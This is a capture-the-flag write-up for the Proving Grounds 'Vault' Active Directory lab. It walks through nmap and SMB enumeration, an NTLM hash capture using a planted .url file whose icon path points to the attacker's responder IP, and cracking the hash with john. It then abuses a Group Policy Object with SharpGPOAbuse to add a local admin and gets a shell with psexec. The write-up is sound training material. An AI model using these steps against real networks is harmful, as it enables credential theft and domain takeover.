Proving grounds Practice - Vault CTF writeup.
Walkthrough on Youtube
NMAP
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-13 04:53:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
Domain name: vault.offsec
SMB share
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DocumentsShare Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Writing files to DocumentsShare
Obtain NTLM Hash via uploading URL file
Run responder as root to listed for events to capture the NTLM Hash.
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.45.170\%USERNAME%.icon
IconIndex=1
IP address should be responder IP.
Crack the hash using john
Connect to attacking machine using extracted credentials
Enumerate system user privileges
Privilege Escalation
Create a tmp directory in root directory and move Powerview.ps1 to the attacking machine.
Enumerate Group Policies
Default Domain Policy
PS C:\tmp> Get-GPO -Name "Default Domain Policy"
DisplayName : Default Domain Policy
DomainName : vault.offsec
Owner : VAULT\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 11/19/2021 12:50:33 AM
ModificationTime : 11/19/2021 2:00:32 AM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 4, SysVol Version: 4
WmiFilter :
Get GPPermission for anirudh
PS C:\tmp> Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
Trustee : anirudh
TrusteeType : User
Permission : GpoEditDeleteModifySecurity
Inherited : False
Permission : GpoEditDeleteModifySecurity
Abuse Group Policy
Compile and download the binary to the attacking machine.
Download precompiled binary from here.
Abuse vulnerable GPO to create new local admin to the attacking machine
PS C:\tmp> ./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
Force update group policy gpupdate /force
Check local group administrators list
PS C:\tmp> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
anirudh
The command completed successfully.
Use Psexec to get interactive administrator shell.
Usage:-
python3 psexec.py domain_name/username:password@IP
proof.txt obtained.
Thanks for reading!
For more updates and insights, follow me on Twitter: @thevillagehacker.